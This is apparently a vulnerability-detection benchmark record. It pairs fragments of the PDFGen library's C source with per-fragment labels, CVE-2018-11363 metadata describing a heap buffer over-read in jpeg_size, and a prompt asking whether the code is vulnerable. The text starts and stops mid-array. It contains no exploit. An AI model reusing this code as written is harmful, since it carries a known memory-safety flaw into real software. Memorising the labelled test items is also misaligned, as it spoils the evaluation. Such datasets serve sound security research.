dstr str = {0, 0, 0};", " dstr_append(&str, \"q \");\n dstr_printf(&str, \"%d 0 0 %d %d %d cm \", width, height, x, y);\n dstr_printf(&str, \"/Image%d Do \", image->index);\n dstr_append(&str, \"Q\");", " ret = pdf_add_stream(pdf, page, str.data);\n dstr_free(&str);\n return ret;\n}", "int pdf_add_ppm(struct pdf_doc *pdf, struct pdf_object *page,\n int x, int y, int display_width, int display_height,\n const char *ppm_file)\n{\n struct pdf_object *obj;\n uint8_t *data;\n FILE *fp;\n char line[1024];\n unsigned width, height, size;", " /* Load the PPM file */\n fp = fopen(ppm_file, \"rb\");\n if (!fp)\n return pdf_set_err(pdf, -errno, \"Unable to open '%s'\", ppm_file);\n if (!fgets(line, sizeof(line) - 1, fp)) {\n fclose(fp);\n return pdf_set_err(pdf, -EINVAL, \"Invalid PPM file\");\n }", " /* We only support binary ppms */\n if (strncmp(line, \"P6\", 2) != 0) {\n fclose(fp);\n return pdf_set_err(pdf, -EINVAL, \"Only binary PPM files supported\");\n }", " /* Find the width line */\n do {\n if (!fgets(line, sizeof(line) - 1, fp)) {\n fclose(fp);\n return pdf_set_err(pdf, -EINVAL, \"Unable to find PPM size\");\n }\n if (line[0] == '#')\n continue;", " if (sscanf(line, \"%u %u\\n\", &width, &height) != 2) {\n fclose(fp);\n return pdf_set_err(pdf, -EINVAL, \"Unable to find PPM size\");\n }\n break;\n } while (1);", " /* Skip over the byte-size line */\n if (!fgets(line, sizeof(line) - 1, fp)) {\n fclose(fp);\n return pdf_set_err(pdf, -EINVAL, \"No byte-size line in PPM file\");\n }", " if (width > INT_MAX || height > INT_MAX) {\n fclose(fp);\n return pdf_set_err(pdf, -EINVAL, \"Invalid width/height in PPM file: %ux%u\", width, height);\n }", " size = width * height * 3;\n data = malloc(size);\n if (!data) {\n fclose(fp);\n return pdf_set_err(pdf, -ENOMEM, \"Unable to allocate memory for RGB data\");\n }\n if (fread(data, 1, size, fp) != size) {\n free(data);\n fclose(fp);\n return pdf_set_err(pdf, -EINVAL, \"Insufficient RGB data available\");", " }\n fclose(fp);\n obj = pdf_add_raw_rgb24(pdf, data, width, height);\n free(data);\n if (!obj)\n return pdf->errval;", " return pdf_add_image(pdf, page, obj, x, y, display_width, display_height);\n}", "int pdf_add_jpeg(struct pdf_doc *pdf, struct pdf_object *page,\n int x, int y, int display_width, int display_height,\n const char *jpeg_file)\n{\n struct pdf_object *obj;", " obj = pdf_add_raw_jpeg(pdf, jpeg_file);\n if (!obj)\n return pdf->errval;", " return pdf_add_image(pdf, page, obj, x, y, display_width, display_height);\n}" ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [2040], "buggy_code_start_loc": [2039], "filenames": ["pdfgen.c"], "fixing_code_end_loc": [2041], "fixing_code_start_loc": [2039], "message": "jpeg_size in pdfgen.c in PDFGen before 2018-04-09 has a heap-based buffer over-read.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:pdfgen:pdfgen:*:*:*:*:*:*:*:*", "matchCriteriaId": "9FEC7B81-30B3-405F-AFD9-F54965FF173A", "versionEndExcluding": "2018-04-09", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "jpeg_size in pdfgen.c in PDFGen before 2018-04-09 has a heap-based buffer over-read."}, {"lang": "es", "value": "jpeg_size en pdfgen.c en PDFGen, en versiones anteriores al 2018-04-09, tiene una sobrelectura de b\u00fafer basada en memoria din\u00e1mica (heap)."}], "evaluatorComment": null, "id": "CVE-2018-11363", "lastModified": "2019-10-03T00:03:26.223", "metrics": {"cvssMetricV2": [{"acInsufInfo": true, "baseSeverity": "MEDIUM", "cvssData": {"accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 5.0, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "version": "2.0"}, "exploitabilityScore": 10.0, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": false}], "cvssMetricV30": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 7.5, "baseSeverity": "HIGH", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "version": "3.0"}, "exploitabilityScore": 3.9, "impactScore": 3.6, "source": "nvd@nist.gov", "type": "Primary"}], "cvssMetricV31": null}, "published": "2018-05-22T04:29:00.217", "references": [{"source": "cve@mitre.org", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/AndreRenaud/PDFGen/commit/ee58aff6918b8bbc3be29b9e3089485ea46ff956"}, {"source": "cve@mitre.org", "tags": ["Exploit", "Third Party Advisory"], "url": "https://github.com/ChijinZ/security_advisories/tree/master/PDFgen-206ef1b"}], "sourceIdentifier": "cve@mitre.org", "vendorComments": null, "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-125"}], "source": "nvd@nist.gov", "type": "Primary"}]}, "github_commit_url": "https://github.com/AndreRenaud/PDFGen/commit/ee58aff6918b8bbc3be29b9e3089485ea46ff956"}, "type": "CWE-125"}
147
Determine whether the {function_name} code is vulnerable or not.
[ "/**\n * Simple engine for creating PDF files.\n * It supports text, shapes, images etc...\n * Capable of handling millions of objects without too much performance\n * penalty.\n * Public domain license - no warrenty implied; use at your own risk.\n */", "/**\n * PDF HINTS & TIPS\n * The following sites have various bits & pieces about PDF document\n * generation\n * http://www.mactech.com/articles/mactech/Vol.15/15.09/PDFIntro/index.html\n * http://gnupdf.org/Introduction_to_PDF\n * http://www.planetpdf.com/mainpage.asp?WebPageID=63\n * http://archive.vector.org.uk/art10008970\n * http://www.adobe.com/devnet/acrobat/pdfs/pdf_reference_1-7.pdf\n * https://blog.idrsolutions.com/2013/01/understanding-the-pdf-file-format-overview/\n *\n * To validate the PDF output, there are several online validators:\n * http://www.validatepdfa.com/online.htm\n * http://www.datalogics.com/products/callas/callaspdfA-onlinedemo.asp\n * http://www.pdf-tools.com/pdf/validate-pdfa-online.aspx\n *\n * In addition the 'pdftk' server can be used to analyse the output:\n * https://www.pdflabs.com/docs/pdftk-cli-examples/\n *\n * PDF page markup operators:\n * b closepath, fill,and stroke path.\n * B fill and stroke path.\n * b* closepath, eofill,and stroke path.\n * B* eofill and stroke path.\n * BI begin image.\n * BMC begin marked content.\n * BT begin text object.\n * BX begin section allowing undefined operators.\n * c curveto.\n * cm concat. Concatenates the matrix to the current transform.\n * cs setcolorspace for fill.\n * CS setcolorspace for stroke.\n * d setdash.\n * Do execute the named XObject.\n * DP mark a place in the content stream, with a dictionary.\n * EI end image.\n * EMC end marked content.\n * ET end text object.\n * EX end section that allows undefined operators.\n * f fill path.\n * f* eofill Even/odd fill path.\n * g setgray (fill).\n * G setgray (stroke).\n * gs set parameters in the extended graphics state.\n * h closepath.\n * i setflat.\n * ID begin image data.\n * j setlinejoin.\n * J setlinecap.\n * k setcmykcolor (fill).\n * K setcmykcolor (stroke).\n * l lineto.\n * m moveto.\n * M setmiterlimit.\n * n end path without fill or stroke.\n * q save graphics state.\n * Q restore graphics state.\n * re rectangle.\n * rg setrgbcolor (fill).\n * RG setrgbcolor (stroke).\n * s closepath and stroke path.\n * S stroke path.\n * sc setcolor (fill).\n * SC setcolor (stroke).\n * sh shfill (shaded fill).\n * Tc set character spacing.\n * Td move text current point.\n * TD move text current point and set leading.\n * Tf set font name and size.\n * Tj show text.\n * TJ show text, allowing individual character positioning.\n * TL set leading.\n * Tm set text matrix.\n * Tr set text rendering mode.\n * Ts set super/subscripting text rise.\n * Tw set word spacing.\n * Tz set horizontal scaling.\n * T* move to start of next line.\n * v curveto.\n * w setlinewidth.\n * W clip.\n * y curveto.\n */", "#define _POSIX_SOURCE /* For localtime_r */\n#include <sys/types.h>\n#include <ctype.h>\n#include <sys/stat.h>\n#include <errno.h>\n#include <limits.h>\n#include <stdarg.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <time.h>\n#include <unistd.h>", "#include \"pdfgen.h\"", "#define ARRAY_SIZE(a) (sizeof(a) / sizeof((a)[0]))", "#define PDF_RGB_R(c) ((((c) >> 16) & 0xff) / 255.0)\n#define PDF_RGB_G(c) ((((c) >> 8) & 0xff) / 255.0)\n#define PDF_RGB_B(c) ((((c) >> 0) & 0xff) / 255.0)", "#if defined(_MSC_VER)\n/*\n * As stated here: http://stackoverflow.com/questions/70013/how-to-detect-if-im-compiling-code-with-visual-studio-2008\n * Visual Studio 2015 has better support for C99\n * We need to use __inline for older version.\n */\n#if _MSC_VER < 1900\n#define inline __inline\n#endif\n#endif // _MSC_VER", "typedef struct pdf_object pdf_object;", "enum {\n OBJ_none, /* skipped */\n OBJ_info,\n OBJ_stream,\n OBJ_font,\n OBJ_page,\n OBJ_bookmark,\n OBJ_outline,\n OBJ_catalog,\n OBJ_pages,\n OBJ_image,", " OBJ_count,\n};", "struct flexarray {\n void ***bins;\n int item_count;\n int bin_count;\n};", "struct pdf_object {\n int type; /* See OBJ_xxxx */\n int index; /* PDF output index */\n int offset; /* Byte position within the output file */\n struct pdf_object *prev; /* Previous of this type */\n struct pdf_object *next; /* Next of this type */\n union {\n struct {\n struct pdf_object *page;\n char name[64];\n struct pdf_object *parent;\n struct flexarray children;\n } bookmark;\n struct {\n char *text;\n int len;\n } stream;\n struct {\n int width;\n int height;\n struct flexarray children;\n } page;\n struct pdf_info info;\n struct {\n char name[64];\n int index;\n } font;\n };\n};", "struct pdf_doc {\n char errstr[128];\n int errval;\n struct flexarray objects;", " int width;\n int height;", " struct pdf_object *current_font;", " struct pdf_object *last_objects[OBJ_count];\n struct pdf_object *first_objects[OBJ_count];\n};", "/**\n * Simple flexible resizing array implementation\n * The bins get larger in powers of two\n * bin 0 = 1024 items\n * 1 = 2048 items\n * 2 = 4096 items\n * etc...\n */\n/* What is the first index that will be in the given bin? */\n#define MIN_SHIFT 10\n#define MIN_OFFSET ((1 << MIN_SHIFT) - 1)\nstatic int bin_offset[] = {\n (1 << (MIN_SHIFT + 0)) - 1 - MIN_OFFSET,\n (1 << (MIN_SHIFT + 1)) - 1 - MIN_OFFSET,\n (1 << (MIN_SHIFT + 2)) - 1 - MIN_OFFSET,\n (1 << (MIN_SHIFT + 3)) - 1 - MIN_OFFSET,\n (1 << (MIN_SHIFT + 4)) - 1 - MIN_OFFSET,\n (1 << (MIN_SHIFT + 5)) - 1 - MIN_OFFSET,\n (1 << (MIN_SHIFT + 6)) - 1 - MIN_OFFSET,\n (1 << (MIN_SHIFT + 7)) - 1 - MIN_OFFSET,\n (1 << (MIN_SHIFT + 8)) - 1 - MIN_OFFSET,\n (1 << (MIN_SHIFT + 9)) - 1 - MIN_OFFSET,\n (1 << (MIN_SHIFT + 10)) - 1 - MIN_OFFSET,\n (1 << (MIN_SHIFT + 11)) - 1 - MIN_OFFSET,\n (1 << (MIN_SHIFT + 12)) - 1 - MIN_OFFSET,\n (1 << (MIN_SHIFT + 13)) - 1 - MIN_OFFSET,\n (1 << (MIN_SHIFT + 14)) - 1 - MIN_OFFSET,\n (1 << (MIN_SHIFT + 15)) - 1 - MIN_OFFSET,\n};", "static inline int flexarray_get_bin(struct flexarray *flex, int index)\n{\n int i;\n (void)flex;\n for (i = 0; i < ARRAY_SIZE(bin_offset); i++)\n if (index < bin_offset[i])\n return i - 1;\n return -1;\n}", "static inline int flexarray_get_bin_size(struct flexarray *flex, int bin)\n{\n (void)flex;\n if (bin >= ARRAY_SIZE(bin_offset))\n return -1;\n int next = bin_offset[bin + 1];\n return next - bin_offset[bin];\n}", "static inline int flexarray_get_bin_offset(struct flexarray *flex, int bin, int index)\n{\n (void)flex;\n return index - bin_offset[bin];\n}", "static void flexarray_clear(struct flexarray *flex)\n{\n int i;\n for (i = 0; i < flex->bin_count; i++)\n free(flex->bins[i]);\n free(flex->bins);\n flex->bin_count = 0;\n flex->item_count = 0;\n}", "static inline int flexarray_size(struct flexarray *flex)\n{\n return flex->item_count;\n}", "static int flexarray_set(struct flexarray *flex, int index, void *data)\n{\n int bin = flexarray_get_bin(flex, index);\n if (bin < 0)\n return -EINVAL;\n if (bin >= flex->bin_count) {\n void *bins = realloc(flex->bins, (flex->bin_count + 1) *\n sizeof(flex->bins));\n if (!bins)\n return -ENOMEM;\n flex->bin_count++;\n flex->bins = bins;\n flex->bins[flex->bin_count - 1] =\n calloc(flexarray_get_bin_size(flex, flex->bin_count - 1),\n sizeof(void *));\n if (!flex->bins[flex->bin_count - 1]) {\n flex->bin_count--;\n return -ENOMEM;\n }\n }\n flex->item_count++;\n flex->bins[bin][flexarray_get_bin_offset(flex, bin, index)] = data;\n return flex->item_count - 1;\n}", "static inline int flexarray_append(struct flexarray *flex, void *data)\n{\n return flexarray_set(flex, flexarray_size(flex), data);\n}", "static inline void *flexarray_get(struct flexarray *flex, int index)\n{\n int bin;", " if (index >= flex->item_count)\n return NULL;\n bin = flexarray_get_bin(flex, index);\n if (bin < 0 || bin >= flex->bin_count)\n return NULL;\n return flex->bins[bin][flexarray_get_bin_offset(flex, bin, index)];\n}", "/**\n * PDF Implementation\n */", "static int pdf_set_err(struct pdf_doc *doc, int errval,\n const char *buffer, ...)\n__attribute__ ((format(printf, 3, 4)));\nstatic int pdf_set_err(struct pdf_doc *doc, int errval,\n const char *buffer, ...)\n{\n va_list ap;\n int len;", " va_start(ap, buffer);\n len = vsnprintf(doc->errstr, sizeof(doc->errstr) - 2, buffer, ap);\n va_end(ap);", " /* Make sure we're properly terminated */\n if (doc->errstr[len] != '\\n')\n doc->errstr[len] = '\\n';\n doc->errstr[len] = '\\0';\n doc->errval = errval;", " return errval;\n}", "const char *pdf_get_err(struct pdf_doc *pdf, int *errval)\n{\n if (!pdf)\n return NULL;\n if (pdf->errstr[0] == '\\0')\n return NULL;\n if (errval) *errval = pdf->errval;\n return pdf->errstr;\n}", "void pdf_clear_err(struct pdf_doc *pdf)\n{\n if (!pdf)\n return;\n pdf->errstr[0] = '\\0';\n pdf->errval = 0;\n}", "static struct pdf_object *pdf_get_object(struct pdf_doc *pdf, int index)\n{\n return flexarray_get(&pdf->objects, index);\n}", "static int pdf_append_object(struct pdf_doc *pdf, struct pdf_object *obj)\n{\n int index = flexarray_append(&pdf->objects, obj);", " if (index < 0)\n return index;\n obj->index = index;", " if (pdf->last_objects[obj->type]) {\n obj->prev = pdf->last_objects[obj->type];\n pdf->last_objects[obj->type]->next = obj;\n }\n pdf->last_objects[obj->type] = obj;", " if (!pdf->first_objects[obj->type])\n pdf->first_objects[obj->type] = obj;", " return 0;\n}", "static struct pdf_object *pdf_add_object(struct pdf_doc *pdf, int type)\n{\n struct pdf_object *obj;", " obj = calloc(1, sizeof(struct pdf_object));\n if (!obj) {\n pdf_set_err(pdf, -errno, \"Unable to allocate object %d: %s\",\n flexarray_size(&pdf->objects) + 1, strerror(errno));\n return NULL;\n }", " obj->type = type;", " if (pdf_append_object(pdf, obj) < 0) {\n free(obj);\n return NULL;\n }", " return obj;\n}", "struct pdf_doc *pdf_create(int width, int height, struct pdf_info *info)\n{\n struct pdf_doc *pdf;\n struct pdf_object *obj;", " pdf = calloc(1, sizeof(struct pdf_doc));\n pdf->width = width;\n pdf->height = height;", " /* We don't want to use ID 0 */\n pdf_add_object(pdf, OBJ_none);", " /* Create the 'info' object */\n obj = pdf_add_object(pdf, OBJ_info);\n if (info)\n obj->info = *info;\n /* FIXME: Should be quoting PDF strings? */\n if (!obj->info.date[0]) {\n time_t now = time(NULL);\n struct tm tm;\n#ifdef _WIN32\n struct tm *tmp;\n tmp = localtime(&now);\n tm = *tmp;\n#else\n localtime_r(&now, &tm);\n#endif\n strftime(obj->info.date, sizeof(obj->info.date),\n \"%Y%m%d%H%M%SZ\", &tm);\n }\n if (!obj->info.creator[0])\n strcpy(obj->info.creator, \"pdfgen\");\n if (!obj->info.producer[0])\n strcpy(obj->info.producer, \"pdfgen\");\n if (!obj->info.title[0])\n strcpy(obj->info.title, \"pdfgen\");\n if (!obj->info.author[0])\n strcpy(obj->info.author, \"pdfgen\");\n if (!obj->info.subject[0])\n strcpy(obj->info.subject, \"pdfgen\");", " pdf_add_object(pdf, OBJ_pages);\n pdf_add_object(pdf, OBJ_catalog);", " pdf_set_font(pdf, \"Times-Roman\");", " return pdf;\n}", "int pdf_width(struct pdf_doc *pdf)\n{\n return pdf->width;\n}", "int pdf_height(struct pdf_doc *pdf)\n{\n return pdf->height;\n}", "static void pdf_object_destroy(struct pdf_object *object)\n{\n switch (object->type) {\n case OBJ_stream:\n case OBJ_image:\n free(object->stream.text);\n break;\n case OBJ_page:\n flexarray_clear(&object->page.children);\n break;\n case OBJ_bookmark:\n flexarray_clear(&object->bookmark.children);\n break;\n }\n free(object);\n}", "void pdf_destroy(struct pdf_doc *pdf)\n{\n if (pdf) {\n int i;\n for (i = 0; i < flexarray_size(&pdf->objects); i++)\n pdf_object_destroy(pdf_get_object(pdf, i));\n flexarray_clear(&pdf->objects);\n free(pdf);\n }\n}", "static struct pdf_object *pdf_find_first_object(struct pdf_doc *pdf,\n int type)\n{\n return pdf->first_objects[type];\n}", "static struct pdf_object *pdf_find_last_object(struct pdf_doc *pdf,\n int type)\n{\n return pdf->last_objects[type];\n}", "int pdf_set_font(struct pdf_doc *pdf, const char *font)\n{\n struct pdf_object *obj;\n int last_index = 0;", " /* See if we've used this font before */\n for (obj = pdf_find_first_object(pdf, OBJ_font); obj; obj = obj->next) {\n if (strcmp(obj->font.name, font) == 0)\n break;\n last_index = obj->font.index;\n }", " /* Create a new font object if we need it */\n if (!obj) {\n obj = pdf_add_object(pdf, OBJ_font);\n if (!obj)\n return pdf->errval;\n strncpy(obj->font.name, font, sizeof(obj->font.name));\n obj->font.name[sizeof(obj->font.name) - 1] = '\\0';\n obj->font.index = last_index + 1;\n }", " pdf->current_font = obj;", " return 0;\n}", "struct pdf_object *pdf_append_page(struct pdf_doc *pdf)\n{\n struct pdf_object *page;", " page = pdf_add_object(pdf, OBJ_page);", " if (!page)\n return NULL;", " page->page.width = pdf->width;\n page->page.height = pdf->height;", " return page;\n}", "int pdf_page_set_size(struct pdf_doc *pdf, struct pdf_object *page, int width, int height)\n{\n if (!page)\n page = pdf_find_last_object(pdf, OBJ_page);", " if (!page || page->type != OBJ_page)\n return pdf_set_err(pdf, -EINVAL, \"Invalid PDF page\");\n page->page.width = width;\n page->page.height = height;\n return 0;\n}", "static int pdf_save_object(struct pdf_doc *pdf, FILE *fp, int index)\n{\n struct pdf_object *object = pdf_get_object(pdf, index);", " if (object->type == OBJ_none)\n return -ENOENT;", " object->offset = ftell(fp);", " fprintf(fp, \"%d 0 obj\\r\\n\", index);", " switch (object->type) {\n case OBJ_stream:\n case OBJ_image: {\n int len = object->stream.len ? object->stream.len :\n strlen(object->stream.text);\n fwrite(object->stream.text, len, 1, fp);\n break;\n }\n case OBJ_info: {\n struct pdf_info *info = &object->info;", " fprintf(fp, \"<<\\r\\n\"\n \" /Creator (%s)\\r\\n\"\n \" /Producer (%s)\\r\\n\"\n \" /Title (%s)\\r\\n\"\n \" /Author (%s)\\r\\n\"\n \" /Subject (%s)\\r\\n\"\n \" /CreationDate (D:%s)\\r\\n\"\n \">>\\r\\n\",\n info->creator, info->producer, info->title,\n info->author, info->subject, info->date);\n break;\n }", " case OBJ_page: {\n int i;\n struct pdf_object *font;\n struct pdf_object *pages = pdf_find_first_object(pdf, OBJ_pages);\n struct pdf_object *image = pdf_find_first_object(pdf, OBJ_image);", " fprintf(fp, \"<<\\r\\n\"\n \"/Type /Page\\r\\n\"\n \"/Parent %d 0 R\\r\\n\", pages->index);\n fprintf(fp, \"/MediaBox [0 0 %d %d]\\r\\n\",\n object->page.width, object->page.height);\n fprintf(fp, \"/Resources <<\\r\\n\");\n fprintf(fp, \" /Font <<\\r\\n\");\n for (font = pdf_find_first_object(pdf, OBJ_font); font; font = font->next)\n fprintf(fp, \" /F%d %d 0 R\\r\\n\",\n font->font.index, font->index);\n fprintf(fp, \" >>\\r\\n\");", " if (image) {\n fprintf(fp, \" /XObject <<\");\n for (; image; image = image->next)\n fprintf(fp, \"/Image%d %d 0 R \", image->index, image->index);\n fprintf(fp, \">>\\r\\n\");\n }", " fprintf(fp, \">>\\r\\n\");\n fprintf(fp, \"/Contents [\\r\\n\");\n for (i = 0; i < flexarray_size(&object->page.children); i++) {\n struct pdf_object *child = flexarray_get(&object->page.children, i);\n fprintf(fp, \"%d 0 R\\r\\n\", child->index);\n }\n fprintf(fp, \"]\\r\\n\");\n fprintf(fp, \">>\\r\\n\");\n break;\n }", " case OBJ_bookmark: {\n struct pdf_object *parent, *other;", " parent = object->bookmark.parent;\n if (!parent)\n parent = pdf_find_first_object(pdf, OBJ_outline);\n if (!object->bookmark.page)\n break;\n fprintf(fp, \"<<\\r\\n\"\n \"/A << /Type /Action\\r\\n\"\n \" /S /GoTo\\r\\n\"\n \" /D [%d 0 R /XYZ 0 %d null]\\r\\n\"\n \" >>\\r\\n\"\n \"/Parent %d 0 R\\r\\n\"\n \"/Title (%s)\\r\\n\",\n object->bookmark.page->index,\n pdf->height,\n parent->index,\n object->bookmark.name);\n int nchildren = flexarray_size(&object->bookmark.children);\n if (nchildren > 0) {\n struct pdf_object *f, *l;\n f = flexarray_get(&object->bookmark.children, 0);\n l = flexarray_get(&object->bookmark.children, nchildren - 1);\n fprintf(fp, \"/First %d 0 R\\r\\n\", f->index);\n fprintf(fp, \"/Last %d 0 R\\r\\n\", l->index);\n }\n // Find the previous bookmark with the same parent\n for (other = object->prev;\n other && other->bookmark.parent != object->bookmark.parent;\n other = other->prev)\n ;\n if (other)\n fprintf(fp, \"/Prev %d 0 R\\r\\n\", other->index);\n // Find the next bookmark with the same parent\n for (other = object->next;\n other && other->bookmark.parent != object->bookmark.parent;\n other = other->next)\n ;\n if (other)\n fprintf(fp, \"/Next %d 0 R\\r\\n\", other->index);\n fprintf(fp, \">>\\r\\n\");\n break;\n }", " case OBJ_outline: {\n struct pdf_object *first, *last, *cur;\n first = pdf_find_first_object(pdf, OBJ_bookmark);\n last = pdf_find_last_object(pdf, OBJ_bookmark);", " if (first && last) {\n int count = 0;\n cur = first;\n while (cur) {\n if (!cur->bookmark.parent)\n count++;\n cur = cur->next;\n }", " /* Bookmark outline */\n fprintf(fp, \"<<\\r\\n\"\n \"/Count %d\\r\\n\"\n \"/Type /Outlines\\r\\n\"\n \"/First %d 0 R\\r\\n\"\n \"/Last %d 0 R\\r\\n\"\n \">>\\r\\n\",\n count, first->index, last->index);\n }\n break;\n }", " case OBJ_font:\n fprintf(fp, \"<<\\r\\n\"\n \" /Type /Font\\r\\n\"\n \" /Subtype /Type1\\r\\n\"\n \" /BaseFont /%s\\r\\n\"\n \" /Encoding /WinAnsiEncoding\\r\\n\"\n \">>\\r\\n\", object->font.name);\n break;", " case OBJ_pages: {\n struct pdf_object *page;\n int npages = 0;", " fprintf(fp, \"<<\\r\\n\"\n \"/Type /Pages\\r\\n\"\n \"/Kids [ \");\n for (page = pdf_find_first_object(pdf, OBJ_page);\n page;\n page = page->next) {\n npages++;\n fprintf(fp, \"%d 0 R \", page->index);\n }\n fprintf(fp, \"]\\r\\n\");\n fprintf(fp, \"/Count %d\\r\\n\", npages);\n fprintf(fp, \">>\\r\\n\");\n break;\n }", " case OBJ_catalog: {\n struct pdf_object *outline = pdf_find_first_object(pdf, OBJ_outline);\n struct pdf_object *pages = pdf_find_first_object(pdf, OBJ_pages);", " fprintf(fp, \"<<\\r\\n\"\n \"/Type /Catalog\\r\\n\");\n if (outline)\n fprintf(fp,\n \"/Outlines %d 0 R\\r\\n\"\n \"/PageMode /UseOutlines\\r\\n\", outline->index);\n fprintf(fp, \"/Pages %d 0 R\\r\\n\"\n \">>\\r\\n\",\n pages->index);\n break;\n }", " default:\n return pdf_set_err(pdf, -EINVAL, \"Invalid PDF object type %d\",\n object->type);\n }", " fprintf(fp, \"endobj\\r\\n\");", " return 0;\n}", "int pdf_save(struct pdf_doc *pdf, const char *filename)\n{\n FILE *fp;\n int i;\n struct pdf_object *obj;\n int xref_offset;\n int xref_count = 0;", " if (filename == NULL)\n fp = stdout;\n else if ((fp = fopen(filename, \"wb\")) == NULL)\n return pdf_set_err(pdf, -errno, \"Unable to open '%s': %s\",\n filename, strerror(errno));", " fprintf(fp, \"%%PDF-1.2\\r\\n\");\n /* Hibit bytes */\n fprintf(fp, \"%c%c%c%c%c\\r\\n\", 0x25, 0xc7, 0xec, 0x8f, 0xa2);", " /* Dump all the objects & get their file offsets */\n for (i = 0; i < flexarray_size(&pdf->objects); i++)\n if (pdf_save_object(pdf, fp, i) >= 0)\n xref_count++;", " /* xref */\n xref_offset = ftell(fp);\n fprintf(fp, \"xref\\r\\n\");\n fprintf(fp, \"0 %d\\r\\n\", xref_count + 1);\n fprintf(fp, \"0000000000 65535 f\\r\\n\");\n for (i = 0; i < flexarray_size(&pdf->objects); i++) {\n obj = pdf_get_object(pdf, i);\n if (obj->type != OBJ_none)\n fprintf(fp, \"%10.10d 00000 n\\r\\n\",\n obj->offset);\n }", " fprintf(fp, \"trailer\\r\\n\"\n \"<<\\r\\n\"\n \"/Size %d\\r\\n\", xref_count + 1);\n obj = pdf_find_first_object(pdf, OBJ_catalog);\n fprintf(fp, \"/Root %d 0 R\\r\\n\", obj->index);\n obj = pdf_find_first_object(pdf, OBJ_info);\n fprintf(fp, \"/Info %d 0 R\\r\\n\", obj->index);\n /* FIXME: Not actually generating a unique ID */\n fprintf(fp, \"/ID [<%16.16x> <%16.16x>]\\r\\n\", 0x123, 0x123);\n fprintf(fp, \">>\\r\\n\"\n \"startxref\\r\\n\");\n fprintf(fp, \"%d\\r\\n\", xref_offset);\n fprintf(fp, \"%%%%EOF\\r\\n\");\n fclose(fp);", " return 0;\n}", "static int pdf_add_stream(struct pdf_doc *pdf, struct pdf_object *page,\n char *buffer)\n{\n struct pdf_object *obj;\n int len;\n char prefix[128];\n char suffix[128];", " if (!page)\n page = pdf_find_last_object(pdf, OBJ_page);", " if (!page)\n return pdf_set_err(pdf, -EINVAL, \"Invalid pdf page\");", " len = strlen(buffer);\n /* We don't want any trailing whitespace in the stream */\n while (len >= 1 && (buffer[len - 1] == '\\r' ||\n buffer[len - 1] == '\\n')) {\n buffer[len - 1] = '\\0';\n len--;\n }", " sprintf(prefix, \"<< /Length %d >>stream\\r\\n\", len);\n sprintf(suffix, \"\\r\\nendstream\\r\\n\");\n len += strlen(prefix) + strlen(suffix);", " obj = pdf_add_object(pdf, OBJ_stream);\n if (!obj)\n return pdf->errval;\n obj->stream.text = malloc(len + 1);\n if (!obj->stream.text) {\n obj->type = OBJ_none;\n return pdf_set_err(pdf, -ENOMEM, \"Insufficient memory for text (%d bytes)\",\n len + 1);\n }\n obj->stream.text[0] = '\\0';\n strcat(obj->stream.text, prefix);\n strcat(obj->stream.text, buffer);\n strcat(obj->stream.text, suffix);\n obj->stream.len = 0;", " return flexarray_append(&page->page.children, obj);\n}", "int pdf_add_bookmark(struct pdf_doc *pdf, struct pdf_object *page,\n int parent, const char *name)\n{\n struct pdf_object *obj;", " if (!page)\n page = pdf_find_last_object(pdf, OBJ_page);", " if (!page)\n return pdf_set_err(pdf, -EINVAL,\n \"Unable to add bookmark, no pages available\");", " if (!pdf_find_first_object(pdf, OBJ_outline))\n if (!pdf_add_object(pdf, OBJ_outline))\n return pdf->errval;", " obj = pdf_add_object(pdf, OBJ_bookmark);\n if (!obj)\n return pdf->errval;", " strncpy(obj->bookmark.name, name, sizeof(obj->bookmark.name));\n obj->bookmark.name[sizeof(obj->bookmark.name) - 1] = '\\0';\n obj->bookmark.page = page;\n if (parent >= 0) {\n struct pdf_object *parent_obj = pdf_get_object(pdf, parent);\n if (!parent_obj)\n return pdf_set_err(pdf, -EINVAL,\n 